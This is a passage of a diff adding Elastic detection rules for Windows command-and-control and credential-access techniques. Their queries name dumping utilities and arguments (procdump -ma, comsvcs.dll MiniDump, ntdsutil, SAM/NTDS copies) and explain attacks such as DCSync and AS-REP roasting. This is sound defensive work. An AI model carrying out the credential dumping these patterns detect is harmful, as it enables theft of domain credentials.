"C:\\Windows\\SysWOW64\\*.exe", + "C:\\Windows\\Microsoft.NET\\Framework*\\*.exe", + "C:\\Windows\\explorer.exe", + "C:\\Windows\\notepad.exe") and + + /* Insert noisy false positives here */ + not process.name : ("svchost.exe", "MicrosoftEdge*.exe", "msedge.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1573" +name = "Encrypted Channel" +reference = "https://attack.mitre.org/techniques/T1573/" + + +[rule.threat.tactic] +id = "TA0011" +name = "Command and Control" +reference = "https://attack.mitre.org/tactics/TA0011/" + diff --git a/rules/windows/command_and_control_iexplore_via_com.toml b/rules/windows/command_and_control_iexplore_via_com.toml new file mode 100644 index 000000000..c6af56a51 --- /dev/null +++ b/rules/windows/command_and_control_iexplore_via_com.toml @@ -0,0 +1,76 @@ +[metadata] +creation_date = "2020/11/28" +maturity = "production" +updated_date = "2022/02/14" + +[rule] +author = ["Elastic"] +description = """ +Identifies instances of Internet Explorer (iexplore.exe) being started via the Component Object Model (COM) making +unusual network connections. Adversaries could abuse Internet Explorer via COM to avoid suspicious processes making +network connections and bypass host-based firewall restrictions. +""" +false_positives = ["Processes such as MS Office using IEproxy to render HTML content."] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Potential Command and Control via Internet Explorer" +risk_score = 47 +rule_id = "acd611f3-2b93-47b3-a0a3-7723bcc46f6d" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Command and Control"] +type = "eql" + +query = ''' +sequence by host.id, user.name with maxspan = 5s + [library where dll.name : "IEProxy.dll" and process.name : ("rundll32.exe", "regsvr32.exe")] + [process where event.type == "start" and process.parent.name : "iexplore.exe" and process.parent.args : "-Embedding"] + /* IE started via COM in normal conditions makes few connections, mainly to Microsoft and OCSP related domains, add FPs here */ + [network where network.protocol == "dns" and process.name : "iexplore.exe" and + not dns.question.name : + ( + "*.microsoft.com", + "*.digicert.com", + "*.msocsp.com", + "*.windowsupdate.com", + "*.bing.com", + "*.identrust.com", + "*.sharepoint.com", + "*.office365.com", + "*.office.com" + ) + ] /* with runs=5 */ +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1071" +name = "Application Layer Protocol" +reference = "https://attack.mitre.org/techniques/T1071/" + + +[rule.threat.tactic] +id = "TA0011" +name = "Command and Control" +reference = "https://attack.mitre.org/tactics/TA0011/" + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1559" +name = "Inter-Process Communication" +reference = "https://attack.mitre.org/techniques/T1559/" + + [[rule.threat.technique.subtechnique]] + id = "T1559.001" + name = "Component Object Model" + reference = "https://attack.mitre.org/techniques/T1559/001/" + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/windows/command_and_control_port_forwarding_added_registry.toml b/rules/windows/command_and_control_port_forwarding_added_registry.toml new file mode 100644 index 000000000..d87a02f56 --- /dev/null +++ b/rules/windows/command_and_control_port_forwarding_added_registry.toml @@ -0,0 +1,44 @@ +[metadata] +creation_date = "2020/11/25" +maturity = "production" +updated_date = "2022/02/14" + +[rule] +author = ["Elastic"] +description = """ +Identifies the creation of a new port forwarding rule. An adversary may abuse this technique to bypass network +segmentation restrictions. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Port Forwarding Rule Addition" +references = [ + "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html", +] +risk_score = 47 +rule_id = "3535c8bb-3bd5-40f4-ae32-b7cd589d5372" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Command and Control"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +registry where registry.path : "HKLM\\SYSTEM\\*ControlSet*\\Services\\PortProxy\\v4tov4\\*" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1572" +name = "Protocol Tunneling" +reference = "https://attack.mitre.org/techniques/T1572/" + + +[rule.threat.tactic] +id = "TA0011" +name = "Command and Control" +reference = "https://attack.mitre.org/tactics/TA0011/" + diff --git a/rules/windows/command_and_control_rdp_tunnel_plink.toml b/rules/windows/command_and_control_rdp_tunnel_plink.toml new file mode 100644 index 000000000..e86c1661a --- /dev/null +++ b/rules/windows/command_and_control_rdp_tunnel_plink.toml @@ -0,0 +1,44 @@ +[metadata] +creation_date = "2020/10/14" +maturity = "production" +updated_date = "2021/09/23" + +[rule] +author = ["Elastic"] +description = """ +Identifies potential use of an SSH utility to establish RDP over a reverse SSH Tunnel. This can be used by attackers to +enable routing of network packets that would otherwise not reach their intended destination. +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Potential Remote Desktop Tunneling Detected" +references = ["https://blog.netspi.com/how-to-access-rdp-over-a-reverse-ssh-tunnel/"] +risk_score = 73 +rule_id = "76fd43b7-3480-4dd9-8ad7-8bd36bfad92f" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Command and Control"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + /* RDP port and usual SSH tunneling related switches in command line */ + process.args : "*:3389" and + process.args : ("-L", "-P", "-R", "-pw", "-ssh") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1572" +name = "Protocol Tunneling" +reference = "https://attack.mitre.org/techniques/T1572/" + +[rule.threat.tactic] +id = "TA0011" +name = "Command and Control" +reference = "https://attack.mitre.org/tactics/TA0011/" + diff --git a/rules/windows/command_and_control_remote_file_copy_desktopimgdownldr.toml b/rules/windows/command_and_control_remote_file_copy_desktopimgdownldr.toml new file mode 100644 index 000000000..9c6020858 --- /dev/null +++ b/rules/windows/command_and_control_remote_file_copy_desktopimgdownldr.toml @@ -0,0 +1,44 @@ +[metadata] +creation_date = "2020/09/03" +maturity = "production" +updated_date = "2021/04/14" + +[rule] +author = ["Elastic"] +description = """ +Identifies the desktopimgdownldr utility being used to download a remote file. An adversary may use desktopimgdownldr to +download arbitrary files as an alternative to certutil. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Remote File Download via Desktopimgdownldr Utility" +references = ["https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/"] +risk_score = 47 +rule_id = "15c0b7a7-9c34-4869-b25b-fa6518414899" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Command and Control"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + (process.name : "desktopimgdownldr.exe" or process.pe.original_file_name == "desktopimgdownldr.exe") and + process.args : "/lockscreenurl:http*" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1105" +reference = "https://attack.mitre.org/techniques/T1105/" +name = "Ingress Tool Transfer" + + +[rule.threat.tactic] +id = "TA0011" +reference = "https://attack.mitre.org/tactics/TA0011/" +name = "Command and Control" + diff --git a/rules/windows/command_and_control_remote_file_copy_mpcmdrun.toml b/rules/windows/command_and_control_remote_file_copy_mpcmdrun.toml new file mode 100644 index 000000000..a5d97a3f6 --- /dev/null +++ b/rules/windows/command_and_control_remote_file_copy_mpcmdrun.toml @@ -0,0 +1,48 @@ +[metadata] +creation_date = "2020/09/03" +maturity = "production" +updated_date = "2021/05/10" + +[rule] +author = ["Elastic"] +description = "Identifies the Windows Defender configuration utility (MpCmdRun.exe) being used to download a remote file." +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Remote File Download via MpCmdRun" +note = """## Triage and analysis + +### Investigating Remote File Download via MpCmdRun +Verify details such as the parent process, URL reputation, and downloaded file details. Additionally, `MpCmdRun` logs this information in the Appdata Temp folder in `MpCmdRun.log`.""" +references = [ + "https://twitter.com/mohammadaskar2/status/1301263551638761477", + "https://www.bleepingcomputer.com/news/microsoft/microsoft-defender-can-ironically-be-used-to-download-malware/", +] +risk_score = 47 +rule_id = "c6453e73-90eb-4fe7-a98c-cde7bbfc504a" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Command and Control"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and + (process.name : "MpCmdRun.exe" or process.pe.original_file_name == "MpCmdRun.exe") and + process.args : "-DownloadFile" and process.args : "-url" and process.args : "-path" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1105" +reference = "https://attack.mitre.org/techniques/T1105/" +name = "Ingress Tool Transfer" + + +[rule.threat.tactic] +id = "TA0011" +reference = "https://attack.mitre.org/tactics/TA0011/" +name = "Command and Control" + diff --git a/rules/windows/command_and_control_remote_file_copy_powershell.toml b/rules/windows/command_and_control_remote_file_copy_powershell.toml new file mode 100644 index 000000000..fea7a401c --- /dev/null +++ b/rules/windows/command_and_control_remote_file_copy_powershell.toml @@ -0,0 +1,59 @@ +[metadata] +creation_date = "2020/11/30" +maturity = "production" +updated_date = "2021/10/17" + +[rule] +author = ["Elastic"] +description = "Identifies powershell.exe being used to download an executable file from an untrusted remote destination." +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Remote File Download via PowerShell" +risk_score = 47 +rule_id = "33f306e8-417c-411b-965c-c2812d6d3f4d" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Command and Control"] +type = "eql" + +query = ''' +sequence by host.id, process.entity_id with maxspan=30s + [network where process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe") and network.protocol == "dns" and + not dns.question.name : ("localhost", "*.microsoft.com", "*.azureedge.net", "*.powershellgallery.com", "*.windowsupdate.com", "metadata.google.internal") and + not user.domain : "NT AUTHORITY"] + [file where process.name : "powershell.exe" and event.type == "creation" and file.extension : ("exe", "dll", "ps1", "bat") and + not file.name : "__PSScriptPolicy*.ps1"] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1105" +name = "Ingress Tool Transfer" +reference = "https://attack.mitre.org/techniques/T1105/" + + +[rule.threat.tactic] +id = "TA0011" +name = "Command and Control" +reference = "https://attack.mitre.org/tactics/TA0011/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" +[[rule.threat.technique.subtechnique]] +id = "T1059.001" +name = "PowerShell" +reference = "https://attack.mitre.org/techniques/T1059/001/" + + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/windows/command_and_control_remote_file_copy_scripts.toml b/rules/windows/command_and_control_remote_file_copy_scripts.toml new file mode 100644 index 000000000..061642535 --- /dev/null +++ b/rules/windows/command_and_control_remote_file_copy_scripts.toml @@ -0,0 +1,44 @@ +[metadata] +creation_date = "2020/11/29" +maturity = "production" +updated_date = "2021/10/13" + +[rule] +author = ["Elastic"] +description = """ +Identifies built-in Windows script interpreters (cscript.exe or wscript.exe) being used to download an executable file +from a remote destination. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Remote File Download via Script Interpreter" +risk_score = 47 +rule_id = "1d276579-3380-4095-ad38-e596a01bc64f" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Command and Control"] +type = "eql" + +query = ''' +sequence by host.id, process.entity_id + [network where process.name : ("wscript.exe", "cscript.exe") and network.protocol != "dns" and + network.direction : ("outgoing", "egress") and network.type == "ipv4" and destination.ip != "127.0.0.1" + ] + [file where event.type == "creation" and file.extension : ("exe", "dll")] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1105" +name = "Ingress Tool Transfer" +reference = "https://attack.mitre.org/techniques/T1105/" + + +[rule.threat.tactic] +id = "TA0011" +name = "Command and Control" +reference = "https://attack.mitre.org/tactics/TA0011/" + diff --git a/rules/windows/command_and_control_sunburst_c2_activity_detected.toml b/rules/windows/command_and_control_sunburst_c2_activity_detected.toml new file mode 100644 index 000000000..cbef4eb72 --- /dev/null +++ b/rules/windows/command_and_control_sunburst_c2_activity_detected.toml @@ -0,0 +1,79 @@ +[metadata] +creation_date = "2020/12/14" +maturity = "production" +updated_date = "2021/09/23" + +[rule] +author = ["Elastic"] +description = """ +The malware known as SUNBURST targets the SolarWind's Orion business software for command and control. This rule detects +post-exploitation command and control activity of the SUNBURST backdoor. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "SUNBURST Command and Control Activity" +note = """## Triage and analysis + +The SUNBURST malware attempts to hide within the Orion Improvement Program (OIP) network traffic. As this rule detects post-exploitation network traffic, investigations into this should be prioritized.""" +references = [ + "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", +] +risk_score = 73 +rule_id = "22599847-5d13-48cb-8872-5796fee8692b" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Command and Control"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +network where event.type == "protocol" and network.protocol == "http" and + process.name : ("ConfigurationWizard.exe", + "NetFlowService.exe", + "NetflowDatabaseMaintenance.exe", + "SolarWinds.Administration.exe", + "SolarWinds.BusinessLayerHost.exe", + "SolarWinds.BusinessLayerHostx64.exe", + "SolarWinds.Collector.Service.exe", + "SolarwindsDiagnostics.exe") and + (http.request.body.content : "*/swip/Upload.ashx*" and http.request.body.content : ("POST*", "PUT*")) or + (http.request.body.content : ("*/swip/SystemDescription*", "*/swip/Events*") and http.request.body.content : ("GET*", "HEAD*")) and + not http.request.body.content : "*solarwinds.com*" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1071" +reference = "https://attack.mitre.org/techniques/T1071/" +name = "Application Layer Protocol" +[[rule.threat.technique.subtechnique]] +id = "T1071.001" +name = "Web Protocols" +reference = "https://attack.mitre.org/techniques/T1071/001/" + + + +[rule.threat.tactic] +id = "TA0011" +name = "Command and Control" +reference = "https://attack.mitre.org/tactics/TA0011/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1195" +name = "Supply Chain Compromise" +reference = "https://attack.mitre.org/techniques/T1195/" +[[rule.threat.technique.subtechnique]] +id = "T1195.002" +name = "Compromise Software Supply Chain" +reference = "https://attack.mitre.org/techniques/T1195/002/" + + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" diff --git a/rules/windows/command_and_control_teamviewer_remote_file_copy.toml b/rules/windows/command_and_control_teamviewer_remote_file_copy.toml new file mode 100644 index 000000000..8d2aac34d --- /dev/null +++ b/rules/windows/command_and_control_teamviewer_remote_file_copy.toml @@ -0,0 +1,46 @@ +[metadata] +creation_date = "2020/09/02" +maturity = "production" +updated_date = "2021/09/23" + +[rule] +author = ["Elastic"] +description = "Identifies an executable or script file remotely downloaded via a TeamViewer transfer session." +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Remote File Copy via TeamViewer" +references = ["https://blog.menasec.net/2019/11/hunting-for-suspicious-use-of.html"] +risk_score = 47 +rule_id = "b25a7df2-120a-4db2-bd3f-3e4b86b24bee" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Command and Control"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +file where event.type == "creation" and process.name : "TeamViewer.exe" and + file.extension : ("exe", "dll", "scr", "com", "bat", "ps1", "vbs", "vbe", "js", "wsh", "hta") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1105" +reference = "https://attack.mitre.org/techniques/T1105/" +name = "Ingress Tool Transfer" + + +[[rule.threat.technique]] +id = "T1219" +name = "Remote Access Software" +reference = "https://attack.mitre.org/techniques/T1219/" + + +[rule.threat.tactic] +id = "TA0011" +reference = "https://attack.mitre.org/tactics/TA0011/" +name = "Command and Control" + diff --git a/rules/windows/credential_access_cmdline_dump_tool.toml b/rules/windows/credential_access_cmdline_dump_tool.toml new file mode 100644 index 000000000..3141f7a5a --- /dev/null +++ b/rules/windows/credential_access_cmdline_dump_tool.toml @@ -0,0 +1,63 @@ +[metadata] +creation_date = "2020/11/24" +maturity = "production" +updated_date = "2021/07/20" +min_stack_comments = "EQL regex syntax introduced in 7.12" +min_stack_version = "7.12.0" + +[rule] +author = ["Elastic"] +description = """ +Identifies the execution of known Windows utilities often abused to dump LSASS memory or the Active Directory database +(NTDS.dit) in preparation for credential access. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Potential Credential Access via Windows Utilities" +references = ["https://lolbas-project.github.io/"] +risk_score = 73 +rule_id = "00140285-b827-4aee-aa09-8113f58a08f3" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Credential Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and +/* update here with any new lolbas with dump capability */ +(process.pe.original_file_name == "procdump" and process.args : "-ma") or +(process.name : "ProcessDump.exe" and not process.parent.executable regex~ """C:\\Program Files( \(x86\))?\\Cisco Systems\\.*""") or +(process.pe.original_file_name == "WriteMiniDump.exe" and not process.parent.executable regex~ """C:\\Program Files( \(x86\))?\\Steam\\.*""") or +(process.pe.original_file_name == "RUNDLL32.EXE" and (process.args : "MiniDump*" or process.command_line : "*comsvcs.dll*#24*")) or +(process.pe.original_file_name == "RdrLeakDiag.exe" and process.args : "/fullmemdmp") or +(process.pe.original_file_name == "SqlDumper.exe" and process.args : "0x01100*") or +(process.pe.original_file_name == "TTTracer.exe" and process.args : "-dumpFull" and process.args : "-attach") or +(process.pe.original_file_name == "ntdsutil.exe" and process.args : "create*full*") or +(process.pe.original_file_name == "diskshadow.exe" and process.args : "/s") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1003" +name = "OS Credential Dumping" +reference = "https://attack.mitre.org/techniques/T1003/" + + [[rule.threat.technique.subtechnique]] + name = "LSASS Memory" + id = "T1003.001" + reference = "https://attack.mitre.org/techniques/T1003/001/" + + [[rule.threat.technique.subtechnique]] + name = "NTDS" + id = "T1003.003" + reference = "https://attack.mitre.org/techniques/T1003/003/" + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" + diff --git a/rules/windows/credential_access_copy_ntds_sam_volshadowcp_cmdline.toml b/rules/windows/credential_access_copy_ntds_sam_volshadowcp_cmdline.toml new file mode 100644 index 000000000..77fff2622 --- /dev/null +++ b/rules/windows/credential_access_copy_ntds_sam_volshadowcp_cmdline.toml @@ -0,0 +1,56 @@ +[metadata] +creation_date = "2020/11/24" +maturity = "production" +updated_date = "2021/07/22" + +[rule] +author = ["Elastic","Austin Songer"] +description = """ +Identifies a copy operation of the Active Directory Domain Database (ntds.dit) or Security Account Manager (SAM) files. +Those files contain sensitive information including hashed domain and/or local credentials. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +max_signals = 33 +name = "NTDS or SAM Database File Copied" +references = [ + "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/", + "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.002/T1003.002.md#atomic-test-3---esentutlexe-sam-copy", +] +risk_score = 73 +rule_id = "3bc6deaa-fbd4-433a-ae21-3e892f95624f" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Credential Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + ( + (process.pe.original_file_name in ("Cmd.Exe", "PowerShell.EXE", "XCOPY.EXE") and + process.args : ("copy", "xcopy", "Copy-Item", "move", "cp", "mv") + ) or + (process.pe.original_file_name : "esentutl.exe" and process.args : ("*/y*", "*/vss*", "*/d*")) + ) and + process.args : ("*\\ntds.dit", "*\\config\\SAM", "\\*\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy*\\*", "*/system32/config/SAM*") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1003" +name = "OS Credential Dumping" +reference = "https://attack.mitre.org/techniques/T1003/" + + [[rule.threat.technique.subtechnique]] + name = "Security Account Manager" + id = "T1003.002" + reference = "https://attack.mitre.org/techniques/T1003/002/" + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" diff --git a/rules/windows/credential_access_credential_dumping_msbuild.toml b/rules/windows/credential_access_credential_dumping_msbuild.toml new file mode 100755 index 000000000..7e96e2404 --- /dev/null +++ b/rules/windows/credential_access_credential_dumping_msbuild.toml @@ -0,0 +1,44 @@ +[metadata] +creation_date = "2020/03/25" +maturity = "production" +updated_date = "2021/04/14" + +[rule] +author = ["Elastic"] +description = """ +An instance of MSBuild, the Microsoft Build Engine, loaded DLLs (dynamically linked libraries) responsible for Windows +credential management. This technique is sometimes used for credential dumping. +""" +false_positives = ["The Build Engine is commonly used by Windows developers but use by non-engineers is unusual."] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Microsoft Build Engine Loading Windows Credential Libraries" +risk_score = 73 +rule_id = "9d110cb3-5f4b-4c9a-b9f5-53f0a1707ae5" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Credential Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +sequence by process.entity_id + [process where event.type == "start" and (process.name : "MSBuild.exe" or process.pe.original_file_name == "MSBuild.exe")] + [library where dll.name : ("vaultcli.dll", "SAMLib.DLL")] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1003" +reference = "https://attack.mitre.org/techniques/T1003/" +name = "OS Credential Dumping" + + +[rule.threat.tactic] +id = "TA0006" +reference = "https://attack.mitre.org/tactics/TA0006/" +name = "Credential Access" + diff --git a/rules/windows/credential_access_dcsync_replication_rights.toml b/rules/windows/credential_access_dcsync_replication_rights.toml new file mode 100644 index 000000000..e301a660a --- /dev/null +++ b/rules/windows/credential_access_dcsync_replication_rights.toml @@ -0,0 +1,142 @@ +[metadata] +creation_date = "2022/02/08" +maturity = "production" +updated_date = "2022/02/28" + +[rule] +author = ["Elastic"] +description = """ +This rule identifies when a User Account starts the Active Directory Replication Process. Attackers can use the DCSync +technique to get credential information of individual accounts or the entire domain, thus compromising the entire +domain. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-system.*"] +language = "eql" +license = "Elastic License v2" +name = "Potential Credential Access via DCSync" +note = """## Triage and analysis. + +### Investigating Active Directory Replication From User Account + +Active Directory replication is the process by which the changes that originate on one domain controller are +automatically transferred to other domain controllers that store the same data. + +Active Directory data takes the form of objects that have properties, or attributes. Each object is an instance +of an object class, and object classes and their respective attributes are defined in the Active Directory schema. +The values of the attributes define the object, and a change to a value of an attribute must be transferred from +the domain controller on which it occurs to every other domain controller that stores a replica of that object. + +Adversaries can use the DCSync technique that uses Windows Domain Controller's API to simulate the replication process +from a remote domain controller, compromising major credential material such as the Kerberos krbtgt keys used +legitimately for tickets creation, but also tickets forging by attackers. This attack requires some extended privileges +to succeed (DS-Replication-Get-Changes and DS-Replication-Get-Changes-All), which are granted by default to members of +the Administrators, Domain Admins, Enterprise Admins, and Domain Controllers groups. Privileged accounts can be abused +to grant controlled objects the right to DCsync/Replicate. + +More details can be found on [Threat Hunter Playbook](https://threathunterplaybook.com/library/windows/active_directory_replication.html?highlight=dcsync#directory-replication-services-auditing). +and [The Hacker Recipes](https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync) + +This rule will monitor for Event ID 4662 (Operation was performed on an Active Directory object) and identify events that use the access +mask 0x100 (Control Access) and properties that contain at least one of the following or their equivalent Schema-Id-GUID +(DS-Replication-Get-Changes, DS-Replication-Get-Changes-All, DS-Replication-Get-Changes-In-Filtered-Set). It also filters out events that +use computer accounts and also Azure AD Connect MSOL accounts (more details [here](https://techcommunity.microsoft.com/t5/microsoft-defender-for-identity/ad-connect-msol-user-suspected-dcsync-attack/m-p/788028)). + +#### Possible investigation steps: + +- Identify the account that performed the action. +- Confirm whether the account owner is aware of the operation. +- Investigate other alerts related to the user/host in the last 48 hours. +- Correlate security events 4662 and 4624 (Logon Type 3) by their Logon ID (`winlog.logon.id`) on the Domain Controller (DC) that received +the replication request. This will tell you where the AD replication request came from, and if it came from another DC or not. +- Investigate which credentials were compromised (e.g. All accounts were replicated or a specific account). + +### False Positive Analysis + +- This activity should not happen legitimately. Any potential B-TP (Benign True Positive) should be mapped and monitored by the security +team as replication should be done by Domain Controllers only. Any account that performs this activity can put the domain at risk for not +having the same security standards (Long, complex, random passwords that change frequently) as computer accounts, exposing it to credential +cracking attacks (Kerberoasting, brute force, etc.). + +### Response and Remediation + +- Initiate the incident response process based on the outcome of the triage. +- If specific credentials were compromised: + - Reset the password for the accounts. +- If the entire domain or the `krbtgt` user were compromised: + - Activate your incident response plan for total Active Directory compromise which should include, but not be limited to, a password + reset (twice) of the `krbtgt` user. + +## Config + +The 'Audit Directory Service Changes' logging policy must be configured for (Success, Failure). +Steps to implement the logging policy with Advanced Audit Configuration: + +``` +Computer Configuration > +Policies > +Windows Settings > +Security Settings > +Advanced Audit Policies Configuration > +Audit Policies > +DS Access > +Audit Directory Service Changes (Success,Failure) +``` +""" +references = [ + "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-180815210510.html", + "https://threathunterplaybook.com/library/windows/active_directory_replication.html?highlight=dcsync#directory-replication-services-auditing", + "https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/security/win_ad_replication_non_machine_account.yml", + "https://github.com/atc-project/atomic-threat-coverage/blob/master/Atomic_Threat_Coverage/Logging_Policies/LP_0027_windows_audit_directory_service_access.md", + "https://attack.stealthbits.com/privilege-escalation-using-mimikatz-dcsync", + "https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync", +] +risk_score = 73 +rule_id = "9f962927-1a4f-45f3-a57b-287f2c7029c1" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Credential Access", "Active Directory"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +any where event.action == "Directory Service Access" and + event.code == "4662" and winlog.event_data.Properties : ( + + /* Control Access Rights/Permissions Symbol */ + + "*DS-Replication-Get-Changes*", + "*DS-Replication-Get-Changes-All*", + "*DS-Replication-Get-Changes-In-Filtered-Set*", + + /* Identifying GUID used in ACE */ + + "*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2*", + "*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*", + "*89e95b76-444d-4c62-991a-0facbeda640c*") + + /* The right to perform an operation controlled by an extended access right. */ + + and winlog.event_data.AccessMask : "0x100" and + not winlog.event_data.SubjectUserName : ("*$", "MSOL_*") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +id = "T1003" +reference = "https://attack.mitre.org/techniques/T1003/" +name = "OS Credential Dumping" + + [[rule.threat.technique.subtechnique]] + id = "T1003.006" + reference = "https://attack.mitre.org/techniques/T1003/006/" + name = "DCSync" + + +[rule.threat.tactic] +id = "TA0006" +reference = "https://attack.mitre.org/tactics/TA0006/" +name = "Credential Access" + diff --git a/rules/windows/credential_access_disable_kerberos_preauth.toml b/rules/windows/credential_access_disable_kerberos_preauth.toml new file mode 100644 index 000000000..3966add87 --- /dev/null +++ b/rules/windows/credential_access_disable_kerberos_preauth.toml @@ -0,0 +1,101 @@ +[metadata] +creation_date = "2022/01/24" +maturity = "production" +updated_date = "2022/02/28" + +[rule] +author = ["Elastic"] +description = """ +Identifies the modification of an account's Kerberos pre-authentication options. An adversary with GenericWrite/GenericAll rights over +the account can maliciously modify these settings to perform offline password cracking attacks such as AS-REP roasting. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-windows.*", "logs-system.*"] +language = "kuery" +license = "Elastic License v2" +name = "Kerberos Pre-authentication Disabled for User" +note = """## Triage and analysis + +### Investigating Kerberos Pre-authentication Disabled for User + +Kerberos pre-authentication is an account protection against offline password cracking. When enabled, a user requesting +access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request +(AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to +successfully decrypt the timestamp with the hash of the user’s password, it will then send an Authentication Server +Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is +signed with the user’s password. Microsoft's security monitoring [recommendations](https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738) state that `'Don't Require Preauth' – Enabled` should not be enabled for user accounts because it weakens security for the account’s Kerberos authentication. + +AS-REP roasting is an attack against Kerberos for user accounts that do not require pre-authentication, which means that +if the target user has pre-authentication disabled, an attacker can request authentication data for it and get a TGT that +can be brute-forced offline, similarly to 